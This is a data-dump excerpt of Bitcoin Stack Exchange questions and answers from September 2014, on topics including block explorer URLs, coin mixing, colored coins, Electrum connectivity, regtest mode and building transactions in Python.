  <row Id="30507" PostTypeId="1" AcceptedAnswerId="30508" CreationDate="2014-09-14T10:09:54.900" Score="2" ViewCount="1218" Body="&lt;p&gt;I need to generate urls to block details page of blockchain.info when I have block height as input but cant find the relationship between block height and the number they are using in the url. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Eg: For block 273294 the url is &lt;a href=&quot;https://blockchain.info/block-index/335666&quot; rel=&quot;nofollow&quot;&gt;https://blockchain.info/block-index/335666&lt;/a&gt; which contains the number 335666 instead of 273294. So how to convert 273294 to 335666.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help in conversion is appreciated.&#xA;Regards   &lt;/p&gt;&#xA;" OwnerUserId="19343" LastActivityDate="2014-09-14T12:34:17.467" Title="How to get correct block details url with block height on blockchain.info" Tags="|blockchain|blockchain.info|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30508" PostTypeId="2" ParentId="30507" CreationDate="2014-09-14T10:43:32.213" Score="3" Body="&lt;p&gt;It seems to me that Blockchain.info just increments the id of blocks whenever it sees a new one. If that is the case, the id of a block on Blockchain.info would just be an arbitrary number and the only relation that it has to the block height would be &lt;code&gt;id ≥ height&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is so, because it is possible that more than one successor to a block is found at roughly the same time. If that happens all successors (usually not more than two) will have the same block height, and are competitors to build the chain with the most accumulated work, &quot;the longest&quot; or main chain. This conflict will be resolved, when one chain gains another successor, pulling ahead of its competitors.&#xA;However, Blockchain.info will still store the detached blocks, allowing the id to grow quicker than the block height.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Apparently, Blockchain.info gives an overview of blocks at the same height under the URL &lt;code&gt;https://blockchain.info/block-height/&amp;lt;height&amp;gt;&lt;/code&gt;. There it lists the hash of the main chain block, which you could use to lookup the id.&lt;/p&gt;&#xA;" OwnerUserId="5406" LastActivityDate="2014-09-14T10:43:32.213" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30509" PostTypeId="2" ParentId="30507" CreationDate="2014-09-14T12:34:17.467" Score="0" Body="&lt;p&gt;&lt;a href=&quot;https://www.blocktrail.com/block/273294&quot; rel=&quot;nofollow&quot;&gt;https://www.blocktrail.com/block/273294&lt;/a&gt;  height or hash, works either way, no complicated things with internal IDs in the url and having 3 different pages for displaying a block ;) &lt;/p&gt;&#xA;" OwnerUserId="15209" LastActivityDate="2014-09-14T12:34:17.467" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="30512" PostTypeId="1" CreationDate="2014-09-14T20:00:24.807" Score="2" ViewCount="1377" Body="&lt;p&gt;&lt;a href=&quot;https://en.bitcoin.it/wiki/Mixing_service&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Mixing_service&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do sites like this work? &quot;Mixing services&quot;. I know it can be broken and traced back with coinsuduko but how exactly does it wash your coins. I doubt they just wait for somebody else to send in enough funds to reimburse with new coins, how would they go about doing it? Do they send the 1 BTC or whatever amount through 50 or so different wallets in different amounts on a bitcoind and then return the 1 BTC to your set wallet? I've heard of coinjoin, how does it work?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I was going to send 1 bitcoin from one wallet to another from my website but have the bitcoins &quot;washed&quot; what would I need to do to keep the transactions hidden or at least &quot;Mixed&quot; so it would be harder for the bitcoin receiver to figure out what address exactly sent the coins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is another example of open source coin washing blockchain.info uses:&#xA;&lt;a href=&quot;https://github.com/blockchain/Sharedcoin&quot; rel=&quot;nofollow&quot;&gt;https://github.com/blockchain/Sharedcoin&lt;/a&gt; is all this javascript on user side really necessary (speaking from using their setup sharedcoin.com, not reading over the source which is also javascript.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="19348" LastActivityDate="2014-12-14T17:40:36.917" Title="Best way to anonymize bitcoin transactions?" Tags="|blockchain|mixing|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30513" PostTypeId="2" ParentId="25828" CreationDate="2014-09-14T23:31:30.397" Score="4" Body="&lt;p&gt;They basically let you do the same thing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The differences are that:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Counterparty relies on the XCP currency whereas colored coins work directly on Bitcoin, so you don't have to get price exposure or volatility risk with a new currency when you use colored coins.&lt;/li&gt;&#xA;&lt;li&gt;Counterparty uses a monolithic protocol where breaking changes are introduced about &lt;a href=&quot;https://github.com/CounterpartyXCP/counterpartyd/blob/master/CHANGELOG.md&quot; rel=&quot;nofollow&quot;&gt;every 2 weeks&lt;/a&gt;. This makes it semi-centralized as the developers have the power to change the protocol as they see fit. For example, they can change the fees, disable features at will, change how orders are matched, etc... They even decided to add support for a &quot;rock-paper-scissors&quot; feature. On the other hand, colored coins (in particular &lt;a href=&quot;http://github.com/openassets&quot; rel=&quot;nofollow&quot;&gt;open assets&lt;/a&gt;) are following a minimalistic approach, where it only does one thing, but does it really well. The protocol is final, so it is more robust and future-proof than counterparty.&lt;/li&gt;&#xA;&lt;li&gt;Colored coins is cheaper to use than counterparty as counterparty has specific fees you need to pay, in addition to the miners fees. Colored coins only has the miners fees.&lt;/li&gt;&#xA;&lt;li&gt;Colored coins being a thin layer on bitcoin, and working with outputs rather than addresses, can use features bitcoin offers out of the box, whereas counterparty can't: unconfirmed transactions, micropayment channels, SPV, etc...&lt;/li&gt;&#xA;&lt;li&gt;The &lt;a href=&quot;https://www.coinprism.info/asset/3AwyaAX7PP5jaeJSmYqagiXbzaqMLcyVr2&quot; rel=&quot;nofollow&quot;&gt;customization of assets&lt;/a&gt; with colored coins goes well beyond what Counterparty can do (pictures, long description, full range of divisibility - not just 8 places or nothing).&lt;/li&gt;&#xA;&lt;li&gt;Colored coins use &lt;a href=&quot;http://blog.coinprism.com/2014/09/10/proof-of-authenticity-of-cryptoassets/&quot; rel=&quot;nofollow&quot;&gt;Proof of Authenticity&lt;/a&gt; to verify issuers, whereas it's very easy to create scammy assets with Counterparty.&lt;/li&gt;&#xA;&lt;li&gt;Counterparty is tied to an economic model because of the XCP currency. Sooner or later, a group of people unhappy with the current distribution of XCP will fork the code of Counterparty, and create a clone with a different distribution, but the same features. That will create two separate networks, and split the liquidity in two (this is basically what already happened with Mastercoin and Counterparty). This makes Counterparty a risky bet for the long term. This can't be the case with colored coins since they are independent from any economic model.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="2716" LastActivityDate="2014-09-14T23:31:30.397" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="30514" PostTypeId="1" CreationDate="2014-09-15T02:08:24.947" Score="1" ViewCount="100" Body="&lt;p&gt;I would like to implement a way for bitcoin transactions to be untraceable. EX. user1 on my site wants to send bitcoins to user2. How would I go about mixing the coins so user2 doesn't get user1's sent from address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All open source bitcoin washers are javascript or python or something, I need to do this on my server and prefer not to use javascript on user end like SharedCoin.com does.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Would I be fine just sending the coins through 50 or so addresses with the values of the coins jumbled (I mean jumbled like, if user1 sents 1 btc, before the bitcoins get to user2 wallet, the coins would pass through the 50 or so btc addresses in mixed values, not just 1btc, but like 0.23 and 0.77 sent to two different addresses and then like 0.02 and 0.21 goto 1 address and 0.75 and 0.02 goes to another and it just continues to split more from their?)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am aware of darkcoin, and that these bitcoin washers can be traced back, but this is something I need for bitcoin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for any help at all.&lt;/p&gt;&#xA;" OwnerUserId="19348" LastActivityDate="2014-09-15T02:08:24.947" Title="How do coinjoin and sharedcoin work? How to make it make it hard to pinpoint bitcoin sender wallet" Tags="|wallet|privacy|coinjoin|" AnswerCount="0" CommentCount="2" ClosedDate="2015-10-02T19:18:38.253" ContentLicense="CC BY-SA 3.0" />
  <row Id="30517" PostTypeId="1" CreationDate="2014-09-15T09:23:31.730" Score="2" ViewCount="13473" Body="&lt;p&gt;I've looked everywhere for an answer but can't find the right one for my situation. I'm using the linux based tails OS with persistent setup with my electrum wallet. Everything works fine and LBC shows my (test) funds of 0.0011 transferred, yet there's nothing in my wallet even after 45 minutes. Blockchain shows my transactions as complete with 17 confirmations yet still nothing in my electrum wallet. I'm guessing this is because my electrum wallet cannot connect to a network for some reason. I read similar stories but am not sure if it's particular to my problem since I'm using Tails. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any advice would be welcome! &lt;/p&gt;&#xA;" OwnerUserId="19355" LastEditorUserId="15412" LastEditDate="2014-09-15T09:44:03.760" LastActivityDate="2019-03-17T09:44:05.327" Title="Can't connect Electrum to a Network so that I can receive my bitcoins" Tags="|transactions|linux|electrum|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30519" PostTypeId="1" CreationDate="2014-09-15T16:02:55.340" Score="1" ViewCount="433" Body="&lt;p&gt;Is it possible to trade bitcoin with paypal and stay anonymous?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How the big trading sites are trading bitcoins and recieve payments with paypal and keep the users anonymous (because there isn't an option of anonymous payment in paypal).&lt;/p&gt;&#xA;" OwnerUserId="19358" LastEditorUserId="15412" LastEditDate="2014-09-15T17:45:58.600" LastActivityDate="2017-01-31T17:53:30.540" Title="Trading bitcoin with paypal?" Tags="|exchanges|paypal|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="30520" PostTypeId="2" ParentId="30512" CreationDate="2014-09-15T16:27:54.347" Score="2" Body="&lt;p&gt;The idea behind Coinjoin or Sharedcoin is that funds can be pooled and mixed with several other Bitcoin users to fund new transactions that can't be easily traced back to you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a trivial example: imagine 3 users, that want the funds from 3 addresses the each control A (0.5 BTC), B (0.5 BTC) and C (1 BTC) to be sent to addresses X, Y and Z respectively. Instead of transferring the funds directly a service could do the following, assuming intermediary addresses:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;A(0.5) --&amp;gt; L(0.5) --\&#xA;B(0.5) --&amp;gt; M(0.5) -- +&#xA;C(1)   --&amp;gt; N(1) --\   \-- Z(1)&#xA;                   \&#xA;                    \--- X(0.5)&#xA;                     \--- Y(0.5)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So the money originally from C gets split and sent to X and Y while the money from A and B gets added and sent to Z. Mixing services do the equivalent but across much more transactions.&lt;/p&gt;&#xA;" OwnerUserId="15524" LastActivityDate="2014-09-15T16:27:54.347" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="30521" PostTypeId="2" ParentId="30517" CreationDate="2014-09-15T18:02:14.760" Score="2" Body="&lt;p&gt;It sounds like you need to tell Tails to allow the Electrum client to connect through Tor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are very good guides already &lt;a href=&quot;http://www.deepdotweb.com/jolly-rogers-security-guide-for-beginners/bitcoin-clients-tails-blockchain-electrum/&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt; and &lt;a href=&quot;https://tails.boum.org/forum/Report_the_electrum_bitcoin_client_in_tails/&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;. &lt;/p&gt;&#xA;" OwnerUserId="19360" LastActivityDate="2014-09-15T18:02:14.760" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="30522" PostTypeId="2" ParentId="30519" CreationDate="2014-09-15T18:43:01.403" Score="1" Body="&lt;p&gt;Try LocalBitcoins:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://localbitcoins.com/buy-bitcoins-online/paypal/&quot; rel=&quot;nofollow&quot;&gt;https://localbitcoins.com/buy-bitcoins-online/paypal/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://localbitcoins.com/sell-bitcoins-online/paypal/&quot; rel=&quot;nofollow&quot;&gt;https://localbitcoins.com/sell-bitcoins-online/paypal/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are selling Bitcoins make sure the buyer is reputable - pick a Sell Bitcoins online advertisement with green thumb. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please note that the buy price is higher with PayPal, because the sellers price in the risk of doing business on PayPal.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you trading with unknown party make sure you &lt;a href=&quot;https://localbitcoins.com/guides/how-to-sell-bitcoins-online#toc5&quot; rel=&quot;nofollow&quot;&gt;follow the risk mitigation procedures&lt;/a&gt;. PayPal, by the reports, is very common method for doing fraudulent purchases. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Usually exchanges expose no user information about the trades, so they are very hard to trace. But if you wish to add an extra layer to hide the origin of Bitcoins you can use &lt;a href=&quot;https://en.bitcoin.it/wiki/Mixing_service&quot; rel=&quot;nofollow&quot;&gt;mixer&lt;/a&gt;, which itself might not be a safe procedure.&lt;/p&gt;&#xA;" OwnerUserId="5464" LastActivityDate="2014-09-15T18:43:01.403" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30523" PostTypeId="2" ParentId="1233" CreationDate="2014-09-15T19:00:39.910" Score="2" Body="&lt;p&gt;In a certain sense, &lt;em&gt;all&lt;/em&gt; 51% attacks are really plurality attacks, &lt;em&gt;but&lt;/em&gt; you have to consider all honest users as forming a single &quot;coordinated group&quot;.  (Which is true when you think about it: they are all following the intended protocol as implemented by standard software.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Suppose for example that 30% of hash power is controlled by honest miners, 32% by Cartel X, and 38% by Cartel Y.  The honest miners are mining on the main chain.  Cartel X wants to reverse a transaction that appeared in some previous block A, so they are mining on a side chain that diverges from the main chain at block A-1.  Cartel Y wants to reverse a different transaction that appeared in a previous block B, so are likewise mining on their own side chain from B-1.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Given enough time, Cartel Y's chain will eventually be longer than either the &quot;honest&quot; chain or the chain produced by Cartel X, so it will become the official record.  Cartel Y will be successful in reversing their transaction, and Cartel X will not.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The 51% figure is based on the assumption that all miners who are not part of the attacking cartel are honest.  But if some of them are part of a competing cartel, then a plurality indeed suffices, assuming you count all honest miners as a cartel of their own.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In principle something similar could happen in the event of a blockchain fork, where honest miners could split into two or more non-cooperating groups mining on distinct chains.  In that case an attacker controlling more hash power than either group could mount a 51% attack also.&lt;/p&gt;&#xA;" OwnerUserId="5757" LastEditorUserId="5757" LastEditDate="2014-09-16T01:19:54.470" LastActivityDate="2014-09-16T01:19:54.470" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30525" PostTypeId="2" ParentId="30139" CreationDate="2014-09-15T22:28:08.987" Score="1" Body="&lt;p&gt;Judging from the &lt;a href=&quot;https://bitcointalk.org/index.php?topic=209508.0&quot; rel=&quot;nofollow&quot;&gt;ANNouncement on BitcoinTalk&lt;/a&gt;, it is a Scrypt based cryptocurrency deriving from Bitcoin.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It has a limit of 144,500,000 units, a different reward schedule, and aims for confirmations every 40 seconds. They also probably use a different difficulty retargeting algorithm, as they mention faster difficulty adjustment.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Besides that I didn't see any special features distinguishing it from other altcoins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was unable to discover a (white) paper dealing specifically with DigitalCoin.&lt;/p&gt;&#xA;" OwnerUserId="5406" LastActivityDate="2014-09-15T22:28:08.987" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="30527" PostTypeId="1" AcceptedAnswerId="30529" CreationDate="2014-09-16T02:08:50.983" Score="2" ViewCount="144" Body="&lt;p&gt;I torrented &lt;code&gt;bootstrap.dat&lt;/code&gt; and used am using it to populate the blockchain. It is close to being complete, but my server has ran out of room. There is room for one copy but not enough for two. Is it possible to switch from using &lt;code&gt;bootstrap.dat&lt;/code&gt; to using the standard download method of Bitcoind?&lt;/p&gt;&#xA;" OwnerUserId="12915" LastEditorUserId="15412" LastEditDate="2014-09-16T03:57:12.230" LastActivityDate="2014-09-17T02:57:27.780" Title="Can you switch the method of blockchain download?" Tags="|blockchain|bitcoind|storage|synchronization|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30529" PostTypeId="2" ParentId="30527" CreationDate="2014-09-16T03:32:43.720" Score="3" Body="&lt;p&gt;Yes, it is possible to delete boostrap.dat mid sync.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Next time you start the Bitcoin client it will continue to sync from the network.&lt;/p&gt;&#xA;" OwnerUserId="12983" LastEditorUserId="12915" LastEditDate="2014-09-17T02:57:27.780" LastActivityDate="2014-09-17T02:57:27.780" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30531" PostTypeId="1" AcceptedAnswerId="30541" CreationDate="2014-09-16T04:26:56.043" Score="1" ViewCount="287" Body="&lt;p&gt;I'm interested in getting data on bitcoin adoption by country. Is there a way of mapping bitcoin addresses to countries of origination?&lt;/p&gt;&#xA;" OwnerUserId="19367" LastEditorUserId="5406" LastEditDate="2021-10-22T18:25:10.380" LastActivityDate="2021-10-22T18:26:13.197" Title="Bitcoin purchases by country" Tags="|address|adoption|" AnswerCount="4" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="30532" PostTypeId="2" ParentId="30531" CreationDate="2014-09-16T06:40:49.957" Score="0" Body="&lt;p&gt;No. Bitcoin addresses are designed to be anonymous and convey no information about the person or computer that generated them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you could somehow identify the owners of some addresses, then by observing transactions going to or from those addresses, you might be able to infer things about their counterparties. Then again, you might not. It certainly seems unlikely you'll get any useful large-scale statistics that way.&lt;/p&gt;&#xA;" OwnerUserId="5757" LastActivityDate="2014-09-16T06:40:49.957" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30533" PostTypeId="5" CreationDate="2014-09-16T11:19:57.070" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2014-09-16T11:19:57.070" LastActivityDate="2014-09-16T11:19:57.070" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30534" PostTypeId="4" CreationDate="2014-09-16T11:19:57.070" Score="0" Body="CGMiner is an open source ASIC/FPGA miner for Windows, Linux and macOS." OwnerUserId="15412" LastEditorUserId="42185" LastEditDate="2018-12-16T20:30:16.980" LastActivityDate="2018-12-16T20:30:16.980" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="30535" PostTypeId="5" CreationDate="2014-09-16T11:21:30.317" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2014-09-16T11:21:30.317" LastActivityDate="2014-09-16T11:21:30.317" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30536" PostTypeId="4" CreationDate="2014-09-16T11:21:30.317" Score="0" Body="Relating to mining in general" OwnerUserId="15412" LastEditorUserId="15412" LastEditDate="2014-09-24T02:09:54.837" LastActivityDate="2014-09-24T02:09:54.837" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30537" PostTypeId="5" CreationDate="2014-09-16T11:22:51.990" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2014-09-16T11:22:51.990" LastActivityDate="2014-09-16T11:22:51.990" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30538" PostTypeId="4" CreationDate="2014-09-16T11:22:51.990" Score="0" Body="Related to the creation and usage of paper wallets, mostly used for cold storage." OwnerUserId="15412" LastEditorUserId="51948" LastEditDate="2017-11-06T10:28:27.863" LastActivityDate="2017-11-06T10:28:27.863" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30539" PostTypeId="5" CreationDate="2014-09-16T11:52:35.327" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2014-09-16T11:52:35.327" LastActivityDate="2014-09-16T11:52:35.327" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30540" PostTypeId="4" CreationDate="2014-09-16T11:52:35.327" Score="0" Body="BFGMiner is an open source ASIC/FPGA miner for Windows" OwnerUserId="15412" LastEditorUserId="15412" LastEditDate="2014-09-17T23:21:41.503" LastActivityDate="2014-09-17T23:21:41.503" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30541" PostTypeId="2" ParentId="30531" CreationDate="2014-09-16T17:59:32.637" Score="2" Body="&lt;p&gt;Nate is right.  But there is this tool: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://fiatleak.com/&quot; rel=&quot;nofollow&quot;&gt;http://fiatleak.com/&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;which can help you see a particular currency's exchanges in and out of Bitcoin.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Euro, USD and Yuan are usually the most predominant.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It could be somewhat helpful, it is open and javascript based so you can see how it works.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;That could possibly give you additional ideas on solving your problem.&lt;/p&gt;&#xA;" OwnerUserId="8999" LastActivityDate="2014-09-16T17:59:32.637" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30543" PostTypeId="1" AcceptedAnswerId="30547" CreationDate="2014-09-16T22:13:33.557" Score="3" ViewCount="749" Body="&lt;p&gt;I am running Bitcoin in &lt;strong&gt;regtest&lt;/strong&gt; mode. Is it possible to send bitcoins generated in regtest mode to a friend ? (I only want to test it). Is it possible ?&lt;/p&gt;&#xA;" OwnerUserId="19374" LastEditorUserId="51916" LastEditDate="2017-06-20T15:52:21.533" LastActivityDate="2017-06-20T15:52:21.533" Title="Can I transfer bitcoins generated in regtest mode to a friend?" Tags="|bitcoind|sell-bitcoins|regtest|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="30544" PostTypeId="1" CreationDate="2014-09-16T22:40:46.163" Score="0" ViewCount="131" Body="&lt;p&gt;Can I develop an API which will accept bitcoins and normal currency using existing API's such as coinbase and stripe? This API when used by a merchant should be able to accept both bitcoins and regular currency on his website.?&lt;/p&gt;&#xA;" OwnerUserId="19376" LastActivityDate="2014-09-17T03:31:46.550" Title="Can I develop an API which will accept bitcoins and regular currency using existing API's such as coinbase and stripe?" Tags="|api|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="30546" PostTypeId="2" ParentId="22391" CreationDate="2014-09-17T03:14:28.777" Score="0" Body="&lt;p&gt;If I'm interpreting your question correctly, I think you are setting rpcallowip incorrectly. It should be set to the IP address of the remote host, not the computer running Bitcoin. &lt;/p&gt;&#xA;" OwnerUserId="2306" LastActivityDate="2014-09-17T03:14:28.777" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30547" PostTypeId="2" ParentId="30543" CreationDate="2014-09-17T03:31:39.527" Score="2" Body="&lt;p&gt;Yes, sort of.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In regtest mode, mining is made much easier, and by default it doesn't attempt to connect to any peers to exchange blocks or transactions.  But your friend can run another client in regtest mode and explicitly connect to yours, and then you will share the same block chain and can exchange transactions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You will need to ensure that your firewall allows incoming TCP port 18444 from the Internet (or at least from your friend's IP address).  You'll also need your external IP address; say it is 1.2.3.4.  (DNS also works if your machine has a DNS name.)  Then you can run your client with &lt;code&gt;-regtest&lt;/code&gt;, and your friend can run hers with &lt;code&gt;-regtest -connect=1.2.3.4&lt;/code&gt;.  Once you have synced your blockchain with each other, you can send transactions to each other just like you were on the real Bitcoin network.  (Of course, nobody will see them except you.)&#xA;Note that in order for the transactions to be confirmed, one or both of you will have to use &lt;code&gt;setgenerate&lt;/code&gt; to mine some more blocks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note also that if both of you are mining, a temporary network failure could lead to you quickly making a big fork in your block chain.  This will make the Bitcoin client unhappy.  &lt;/p&gt;&#xA;" OwnerUserId="5757" LastActivityDate="2014-09-17T03:31:39.527" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30548" PostTypeId="2" ParentId="30544" CreationDate="2014-09-17T03:31:46.550" Score="1" Body="&lt;p&gt;&lt;strong&gt;tl;dr It could be done, but doesn't seem to be incredibly useful as there are already systems that already do this, combined multiple payment methods into one easy to use system/API. (e.g. &lt;a href=&quot;http://www.woothemes.com/woocommerce/&quot; rel=&quot;nofollow&quot;&gt;WooCommerce&lt;/a&gt;)&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't know much about Ruby or Stripe, but the blockchain API is pretty easy to use and has some fairly decent docs. (&lt;a href=&quot;https://blockchain.info/api/json_rpc_api&quot; rel=&quot;nofollow&quot;&gt;API Docs&lt;/a&gt;) It just requires you to open the web page it specifies using a simple get request which will return a JSON string. Just unencode it and all of the informations is right there. It only requires one call to create the address to give the user. It will forward the bitcoin to the bitcoin account of your choosing. It will also send a callback to your URL of choice which will tell you when they send a payment. Make sure you don't send the user anything until the payment has at least one callback to prevent double spends. Six is the recommended number for high value payments.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I guess you could make an API of sorts where you specify what kind of payment method the user chooses then having it respond with just a single callback that would alert you when the payment complete was what ever the payment method. Which would have the benefit of the merchant using your API only needing to know your API instead of every API. However WooCommerce and other ecommerce tools acomplish this by allowing you to use multiple payment methods. For example you could use WooCommerce with their default credit card payment method in conjution with my Bitcoin payment method.&lt;/p&gt;&#xA;" OwnerUserId="12915" LastActivityDate="2014-09-17T03:31:46.550" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30549" PostTypeId="2" ParentId="26981" CreationDate="2014-09-17T04:58:54.213" Score="2" Body="&lt;p&gt;Might as well give this old question an answer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;cgminer 3.7.2 (which was obsolete even when this question was asked) required scrypt to be enabled as a compile-time option with &lt;code&gt;./configure --enable-scrypt&lt;/code&gt;.  The asker evidently did not enable it, which is why it does not work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It appears that current versions of cgminer have removed scrypt support altogether.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As Hồ Tuấn Kiệt points out, a Raspberry Pi would be hopelessly underpowered for CPU mining of any kind, so this would be a really ineffective idea even if it worked.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The asker probably got this idea because there is lots of discussion on the Internet about using the Raspberry Pi for mining.  However, most people use it in a very different way: not to do the mining itself, but as a controller for ASIC mining devices (typically for Bitcoin and other SHA256 coins, not scrypt).  It is well suited to the latter task, since controlling ASIC miners requires very little in the way of CPU performance; just the ability to run a minimal operating system with network access, and some simple software to fetch work from the network and feed it to the ASICs.  The Raspberry Pi is certainly capable of that task, and it is cheap and uses little electricity of its own.  But it isn't suitable for actually mining with its own CPU or GPU.&lt;/p&gt;&#xA;" OwnerUserId="5757" LastActivityDate="2014-09-17T04:58:54.213" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30550" PostTypeId="1" CreationDate="2014-09-17T05:31:33.677" Score="10" ViewCount="16219" Body="&lt;p&gt;Lets say I have a bitcoin address that has 10 BTC sent to it. I also have the private key for this address&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using Python (2 or 3) is there a way to create a signed transaction (which I believe is a long string of hex digits) that can then be sent to an external service (bockchain.info or whatever) for network propogation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It seems all the python libraries for making transactions require a connection to the bitcoind rpc interface. In my application, there will be no locally ran bitcoind.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm thinking the code I'm looking for is like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;address = '1ALis8zeW1XduXf98ZjoL4EKLen5mVA1q4'&#xA;private = '5KiUZd5as1TKsiwnt1KiPgiECtXiuF9BS1MxrAgedNrXcScm4d5'&#xA;&#xA;from some_btc_library import make_transaction&#xA;&#xA;tx_hex = make_transaction(&#xA;    inputs=[[address, private]],&#xA;    to='123rn4tNGhf1ZehQHLohYn8WRQYhjeGSCw',&#xA;    amount=3,&#xA;    miner_fee=0.0001&#xA;)&#xA;&#xA;send_to_exteral_service(tx_hex)&#xA;print &quot;transaction complete&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="18150" LastActivityDate="2017-01-23T15:45:41.703" Title="Is it possible to create a transaction in pure python without needing to run bitcoin locally?" Tags="|raw-transaction|python|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
